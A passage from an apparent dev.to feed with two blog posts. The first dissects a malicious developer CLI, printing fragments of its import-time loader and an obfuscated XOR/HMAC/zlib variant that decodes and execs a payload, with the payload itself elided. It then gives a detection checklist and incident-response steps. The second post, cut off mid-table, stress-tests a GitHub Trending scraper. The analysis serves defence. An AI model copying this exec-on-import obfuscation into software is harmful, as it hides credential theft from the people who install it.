class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
    &lt;span class="nf"&gt;_load_module_memory&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;CLIENT_MODULE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And in &lt;code&gt;cli.py&lt;/code&gt;, at module scope:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;tokentab&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;setup&lt;/span&gt;

&lt;span class="n"&gt;setup&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run_sync&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;      &lt;span class="c1"&gt;# line 12 — before argparse, before any output
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That line runs when the module is imported. Not when you pass a flag, not when you choose a subcommand: on import. Which means it also runs during &lt;code&gt;pip install .&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Two details worth sitting with. First, the fetched module was called &lt;code&gt;manual_mapper.py&lt;/code&gt; — a name with no relationship to counting tokens. Second, the same file still contained &lt;code&gt;Panel.fit(f"[bold cyan]text-humanizer[/bold cyan]")&lt;/code&gt; and a &lt;code&gt;Deepseek&lt;/code&gt; REPL banner: leftovers from a different project, pasted in wholesale. Written, not assembled.&lt;/p&gt;

&lt;h2&gt;
  
  
  It did not get fixed. It got obfuscated.
&lt;/h2&gt;

&lt;p&gt;Commit &lt;code&gt;3a7aac5&lt;/code&gt; (2026-09-19, "add cursor support") deleted the readable version and replaced it with this shape:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;_rd9r1n&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;lambda&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;_ddsw42wg7z&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;__import__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;_rd9r1n&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="mi"&gt;246&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;243&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;253&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mi"&gt;158&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;      &lt;span class="c1"&gt;# hmac
&lt;/span&gt;&lt;span class="n"&gt;_xvz9negeaj&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;__import__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;_rd9r1n&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="mi"&gt;109&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;123&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;126&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;117&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;       &lt;span class="c1"&gt;# zlib
&lt;/span&gt;&lt;span class="n"&gt;_ttyvpj&lt;/span&gt;     &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;__import__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;_rd9r1n&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;26&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;31&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mi"&gt;118&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;  &lt;span class="c1"&gt;# hashlib
&lt;/span&gt;
&lt;span class="n"&gt;_a85u37nq1e&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[[&lt;/span&gt;&lt;span class="mi"&gt;45&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;46&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;249&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;203&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;133&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;92&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;172&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt; &lt;span class="p"&gt;]]&lt;/span&gt;   &lt;span class="c1"&gt;# ~7 KB of int arrays
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;…then an HMAC-SHA256 keystream over the reassembled blob, &lt;code&gt;zlib.decompress&lt;/code&gt;, and the last line of the file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;_i44hyn5c6u&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="nf"&gt;getattr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;__import__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;decoded&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;builtins&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;decoded&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;exec&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="nf"&gt;_q6newk&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="nf"&gt;globals&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;

&lt;span class="nf"&gt;_i44hyn5c6u&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;          &lt;span class="c1"&gt;# line 42, runs on import
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;cli.py&lt;/code&gt; line 12 now reads &lt;code&gt;setup.run_sync(FORCE_SYNC=True)&lt;/code&gt;. Same behaviour, one difference that matters: stage 2 no longer needs the network, because it ships inline and unpacks in memory.&lt;/p&gt;

&lt;p&gt;The lesson that cost me a credential rotation: &lt;strong&gt;read the tail of the file, not the head.&lt;/strong&gt; The trigger was the last line.&lt;/p&gt;

&lt;p&gt;Verify it yourself — clone only, do not &lt;code&gt;pip install .&lt;/code&gt; or run it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git clone &lt;span class="nt"&gt;--depth&lt;/span&gt; 1 https://github.com/crwdla/tokentab &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;cd &lt;/span&gt;tokentab
git show d9e8cb4:tokentab/setup.py | &lt;span class="nb"&gt;sed&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="s1"&gt;'12,23p'&lt;/span&gt;   &lt;span class="c"&gt;# CONFIG block&lt;/span&gt;
git show d9e8cb4:cli.py            | &lt;span class="nb"&gt;sed&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="s1"&gt;'1,14p'&lt;/span&gt;    &lt;span class="c"&gt;# import-time call&lt;/span&gt;
git show 3a7aac5:tokentab/setup.py                     &lt;span class="c"&gt;# obfuscated variant&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Why dev tooling is the ideal delivery vehicle
&lt;/h2&gt;

&lt;p&gt;Machine that runs coding agents = &lt;code&gt;.env&lt;/code&gt; with provider keys, a git token, a registry token, cloud credentials, and for me a market-data API key for an A-share pipeline. A "token cost dashboard" asking to read your session logs is a &lt;em&gt;plausible&lt;/em&gt; reason to be in there — session logs contain your prompts, your code, and your absolute paths.&lt;/p&gt;

&lt;p&gt;Stars are not evidence either. Four commits, one account, two weeks old, 1,145 stars.&lt;/p&gt;

&lt;h2&gt;
  
  
  The 20 seconds I spend now
&lt;/h2&gt;

&lt;p&gt;Five checks, no install, nothing executed. I wrapped them into two scripts (&lt;a href="https://github.com/Felixwang007/agent-supply-chain-audit" rel="noopener noreferrer"&gt;repo below&lt;/a&gt;, &lt;code&gt;audit.sh&lt;/code&gt; for bash and &lt;code&gt;audit.py&lt;/code&gt; for Windows):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bash audit.sh https://github.com/&amp;lt;owner&amp;gt;/&amp;lt;repo&amp;gt;
python audit.py ./local/checkout
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Check&lt;/th&gt;
&lt;th&gt;Why it is the check&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;hardcoded IP endpoints, with or without scheme&lt;/td&gt;
&lt;td&gt;an open-source CLI that talks to &lt;code&gt;203.0.113.7:8765&lt;/code&gt; has no documented reason to; real tools use a domain and a real API&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;fetch → exec / compile / decompress&lt;/code&gt; chains&lt;/td&gt;
&lt;td&gt;downloading code and running it in-process &lt;em&gt;is&lt;/em&gt; the malware pattern; the fetcher and the &lt;code&gt;exec&lt;/code&gt; are frequently in different files&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;import-time side effects (&lt;code&gt;setup.run_sync()&lt;/code&gt;, &lt;code&gt;_i44hyn5c6u()&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;runs before you see output, and inside &lt;code&gt;pip install .&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;obfuscation smell: xor lambdas, big int-array literals, &lt;code&gt;getattr(mod, &amp;lt;decoded&amp;gt;)&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;no cost-tracking CLI needs to hide module names behind byte arithmetic&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;declared vs real distribution (PyPI name, npm &lt;code&gt;preinstall&lt;/code&gt;/&lt;code&gt;postinstall&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;an install hook is code you never read and always run&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Run against the two versions above, the checker reports 4 findings for each. Run against a benign repo of mine, it reports zero.&lt;/p&gt;

&lt;h2&gt;
  
  
  The false positive that almost killed the tool
&lt;/h2&gt;

&lt;p&gt;My first version flagged &lt;code&gt;414.336.75.75&lt;/code&gt; in a clean repo. It was SVG path data — &lt;code&gt;&amp;lt;path d="...414.336.75.75..."&amp;gt;&lt;/code&gt; — matching loosely as an IPv4. I added an octet range validation (each part ≤ 255) and it went quiet. A checker that cries wolf on &lt;code&gt;viewBox&lt;/code&gt; attributes gets ignored by the second week, which is strictly worse than not having one.&lt;/p&gt;

&lt;h2&gt;
  
  
  If you already executed it
&lt;/h2&gt;

&lt;p&gt;Order matters more than thoroughness here.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Kill the process by command line.&lt;/strong&gt; Never blanket-kill the interpreter: on an agent host &lt;code&gt;pkill python&lt;/code&gt; takes your agent down with the payload.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Clone nothing else from that author&lt;/strong&gt; until you're done.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Rotate everything the process could read&lt;/strong&gt; — &lt;code&gt;.env&lt;/code&gt;, provider keys, git credentials, registry tokens. Assume the machine's full credential set is burnt.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Check persistence&lt;/strong&gt; (Run keys, scheduled tasks, Startup, &lt;code&gt;hosts&lt;/code&gt;). Memory-only payloads leave nothing, so a clean result is not an all-clear.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Reboot.&lt;/strong&gt; A purely in-memory implant doesn't survive a restart. If there's no file to delete, this is the only removal step that reliably works.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Inventory what else has execution rights&lt;/strong&gt;, because disk scanning can't see runtime behaviour:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npx &lt;span class="nt"&gt;-y&lt;/span&gt; geiger-scan                                    &lt;span class="c"&gt;# agents / MCP servers / plugins / hooks&lt;/span&gt;
npx &lt;span class="nt"&gt;-y&lt;/span&gt; geiger-scan &lt;span class="nt"&gt;--json&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$LOCALAPPDATA&lt;/span&gt;&lt;span class="s2"&gt;/Temp/geiger_&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;date&lt;/span&gt; +%Y%m%d&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;.json"&lt;/span&gt;
npx &lt;span class="nt"&gt;-y&lt;/span&gt; geiger-scan &lt;span class="nt"&gt;--diff&lt;/span&gt; baseline.json               &lt;span class="c"&gt;# what appeared since last week&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;On my machine the number that mattered wasn't 65 items across 7 ecosystems — it was the 13 items in the &lt;code&gt;EXECUTES&lt;/code&gt; tier. One of them was an agent event hook, and hooks run &lt;strong&gt;without a prompt&lt;/strong&gt;, so silently replacing one hook file is a complete backdoor. &lt;code&gt;--diff&lt;/code&gt; against last week's snapshot is the only thing that tells you &lt;em&gt;when&lt;/em&gt; something new walked in.&lt;/p&gt;

&lt;h2&gt;
  
  
  What this cannot do
&lt;/h2&gt;

&lt;p&gt;A static grep does not see runtime behaviour — I could not recover the stage-2 program above without executing it, and that's the point: by then the audit has already failed. It also misses stage-2 code fetched at run time from a domain that looks clean today, anything that never touches disk, and compromised releases of tools you already trust.&lt;/p&gt;

&lt;p&gt;It is triage, not security. Its job is to make "clone and run" cost 20 seconds of reading instead of a credential rotation.&lt;/p&gt;




&lt;p&gt;Both scripts are MIT and dependency-free here: &lt;strong&gt;&lt;a href="https://github.com/Felixwang007/agent-supply-chain-audit" rel="noopener noreferrer"&gt;github.com/Felixwang007/agent-supply-chain-audit&lt;/a&gt;&lt;/strong&gt; — &lt;code&gt;audit.sh&lt;/code&gt;, &lt;code&gt;audit.py&lt;/code&gt;, and the checklist in the README.&lt;/p&gt;

&lt;p&gt;The same checklists ship as agent skills I publish on 虾评 (xiaping.coze.com) for anyone driving Claude Code / Codex / Hermes-style agents. If you've hit a different flavour of this — a poisoned MCP server, a lookalike npm package, a "harmless" postinstall script — I'd like to compare notes in the comments.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>python</category>
      <category>opensource</category>
      <category>stocks</category>
    </item>
    <item>
      <title>I Broke My Own GitHub Trending Scraper 5 Ways on Purpose. All 5 Builds Stayed Green.</title>
      <dc:creator>Felixwang007</dc:creator>
      <pubDate>Thu, 17 Sep 2026 04:59:29 +0000</pubDate>
      <link>https://dev.to/felixwang007/i-broke-my-own-github-trending-scraper-5-ways-on-purpose-all-5-builds-stayed-green-59ah</link>
      <guid>https://dev.to/felixwang007/i-broke-my-own-github-trending-scraper-5-ways-on-purpose-all-5-builds-stayed-green-59ah</guid>
      <description>&lt;p&gt;I run a zero-API GitHub Trending aggregator. In the 52 days since I set it up, it has fired &lt;strong&gt;201 times&lt;/strong&gt; and &lt;strong&gt;199 of those runs succeeded&lt;/strong&gt;. The only two failures happened on day one and had nothing to do with scraping — GitHub Pages wasn't enabled yet, so the deploy step returned a 404.&lt;/p&gt;

&lt;p&gt;A wall of green builds reads like a health signal. So this week I stopped trusting it and tried to break my own parser on purpose.&lt;/p&gt;

&lt;p&gt;I fed it five kinds of damaged HTML — the kind of damage GitHub actually introduces during a routine CSS refactor. &lt;strong&gt;Every single test returned normally.&lt;/strong&gt; No exception, no non-zero exit, no failed build. The site would have published anyway, with empty or corrupted data, and CI would have filed it as a success.&lt;/p&gt;

&lt;p&gt;Here is the full teardown, the exact numbers, and the completeness canary I now run before anything ships.&lt;/p&gt;

&lt;h2&gt;
  
  
  What the pipeline actually is
&lt;/h2&gt;

&lt;p&gt;No token. No REST API. No rate limits. That was the design constraint, so the whole thing is:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;GitHub Actions cron, &lt;code&gt;0 */6 * * *&lt;/code&gt; — four runs a day.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;urllib.request&lt;/code&gt; GETs six pages: &lt;code&gt;github.com/trending?since=weekly&lt;/code&gt; plus the &lt;code&gt;python&lt;/code&gt;, &lt;code&gt;javascript&lt;/code&gt;, &lt;code&gt;typescript&lt;/code&gt;, &lt;code&gt;rust&lt;/code&gt;, and &lt;code&gt;go&lt;/code&gt; variants.&lt;/li&gt;
&lt;li&gt;A regex parser extracts repo name, description, language, total stars, forks, and weekly star gain.&lt;/li&gt;
&lt;li&gt;It writes &lt;code&gt;trending.json&lt;/code&gt; + &lt;code&gt;summary.json&lt;/code&gt; + a static &lt;code&gt;index.html&lt;/code&gt; and uploads the folder as a Pages artifact.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The latest run collected &lt;strong&gt;116 rows across those six pages&lt;/strong&gt; (22 on the all-languages page, 20 / 18 / 18 / 19 / 19 on the language pages). Across 201 runs that's roughly &lt;strong&gt;23,000 repo rows&lt;/strong&gt;, all from HTML, all for $0.&lt;/p&gt;

&lt;h2&gt;
  
  
  What that weekly snapshot actually says
&lt;/h2&gt;

&lt;p&gt;Before the failure analysis, the payload, from the run at &lt;code&gt;2026-09-17 04:39 UTC&lt;/code&gt; — all numbers below come straight out of the published &lt;code&gt;trending.json&lt;/code&gt;:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Repo&lt;/th&gt;
&lt;th&gt;Stars&lt;/th&gt;
&lt;th&gt;Language&lt;/th&gt;
&lt;th&gt;This week&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;obra/superpowers&lt;/td&gt;
&lt;td&gt;287,691&lt;/td&gt;
&lt;td&gt;Shell&lt;/td&gt;
&lt;td&gt;+4,023&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;affaan-m/ECC&lt;/td&gt;
&lt;td&gt;260,457&lt;/td&gt;
&lt;td&gt;JavaScript&lt;/td&gt;
&lt;td&gt;+5,292&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;microsoft/markitdown&lt;/td&gt;
&lt;td&gt;184,901&lt;/td&gt;
&lt;td&gt;Python&lt;/td&gt;
&lt;td&gt;+2,733&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DietrichGebert/ponytail&lt;/td&gt;
&lt;td&gt;140,542&lt;/td&gt;
&lt;td&gt;JavaScript&lt;/td&gt;
&lt;td&gt;+7,218&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;github/spec-kit&lt;/td&gt;
&lt;td&gt;137,423&lt;/td&gt;
&lt;td&gt;Python&lt;/td&gt;
&lt;td&gt;+3,019&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;TauricResearch/TradingAgents&lt;/td&gt;
&lt;td&gt;107,085&lt;/td&gt;
&lt;td&gt;Python&lt;/td&gt;
&lt;td&gt;+3,350&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;addyosmani/agent-skills&lt;/td&gt;
&lt;td&gt;95,574&lt;/td&gt;
&lt;td&gt;JavaScript&lt;/td&gt;
&lt;td&gt;+2,119&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ayghri/i-have-adhd&lt;/td&gt;
&lt;td&gt;47,005&lt;/td&gt;
&lt;td&gt;Python&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;+13,737&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;bilawalsidhu/gods-eye-view&lt;/td&gt;
&lt;td&gt;36,174&lt;/td&gt;
&lt;td&gt;JavaScript&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;+14,777&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;alibaba/open-code-review&lt;/td&gt;
&lt;td&gt;32,463&lt;/td&gt;
&lt;td&gt;Go&lt;/td&gt;
&lt;td&gt;+8,594&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The 22 repos on that page represent &lt;strong&gt;1,709,069 stars&lt;/strong&gt; in total.&lt;/p&gt;

&lt;p&gt;I classified them with an explicit, reproducible rule: a repo counts as &lt;em&gt;agent infrastructure&lt;/em&gt; if its name or description contains one of &lt;code&gt;skill&lt;/code&gt;, &lt;code&gt;plugin&lt;/code&gt;, &lt;code&gt;agent&lt;/code&gt;, &lt;code&gt;harness&lt;/code&gt;, &lt;code&gt;context&lt;/code&gt;, &lt;code&gt;memory&lt;/code&gt;, &lt;code&gt;mcp&lt;/code&gt;, &lt;code&gt;prompt&lt;/code&gt;, &lt;code&gt;spec-kit&lt;/code&gt;, &lt;code&gt;superpowers&lt;/code&gt;, &lt;code&gt;humanizer&lt;/code&gt;, &lt;code&gt;no-ai-slop&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Result: &lt;strong&gt;19 of 22 repos (86%)&lt;/strong&gt;, holding &lt;strong&gt;1,397,405 of those stars (82%)&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;The three that didn't match are &lt;code&gt;bilawalsidhu/gods-eye-view&lt;/code&gt; (browser spy-satellite simulator), &lt;code&gt;microsoft/markitdown&lt;/code&gt; (document → markdown), and &lt;code&gt;home-assistant/core&lt;/code&gt;. The rule is keyword-based and I'm not going to pretend it's a semantic classifier — but when the three exceptions are a satellite simulator, a document converter, and Home Assistant, the trend isn't ambiguous. What developers are starring hardest in September 2026 is the layer that &lt;em&gt;wraps the model&lt;/em&gt;: skills, harnesses, context stores, plugin registries, and anti-slop filters. &lt;code&gt;blader/humanizer&lt;/code&gt; (49,268★) and &lt;code&gt;petergyang/no-ai-slop&lt;/code&gt; (10,178★) are both in the list — tools whose entire job is cleaning up output that another model produced.&lt;/p&gt;

&lt;h2&gt;
  
  
  The five ways I broke it
&lt;/h2&gt;

&lt;p&gt;Here's the test harness. I monkeypatched &lt;code&gt;urllib.request.urlopen&lt;/code&gt; to return saved GitHub HTML from disk, so every run is offline and deterministic, then scored the parser on four dimensions instead of just "did it crash":&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;rows&lt;/code&gt; — article blocks found&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;name&lt;/code&gt; — non-empty repo names&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;desc&lt;/code&gt; — non-empty descriptions&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;lang&lt;/code&gt; / &lt;code&gt;stars&lt;/code&gt; — populated fields&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The results:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Test&lt;/th&gt;
&lt;th&gt;Injected change&lt;/th&gt;
&lt;th&gt;rows&lt;/th&gt;
&lt;th&gt;names&lt;/th&gt;
&lt;th&gt;descs&lt;/th&gt;
&lt;th&gt;stars&lt;/th&gt;
&lt;th&gt;Raised?&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Real saved HTML&lt;/td&gt;
&lt;td&gt;21&lt;/td&gt;
&lt;td&gt;21&lt;/td&gt;
&lt;td&gt;20&lt;/td&gt;
&lt;td&gt;21&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;200 OK&lt;/code&gt; with an empty body&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;no&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Container class truly renamed (&lt;code&gt;Box-row&lt;/code&gt; → &lt;code&gt;TrendRow&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;no&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;Description class renamed (&lt;code&gt;col-9&lt;/code&gt; → &lt;code&gt;col-10&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;21&lt;/td&gt;
&lt;td&gt;21&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;0&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;21&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;no&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;GitHub's real migration: &lt;code&gt;pr-4&lt;/code&gt; → &lt;code&gt;tmp-pr-4&lt;/code&gt; on layout classes&lt;/td&gt;
&lt;td&gt;21&lt;/td&gt;
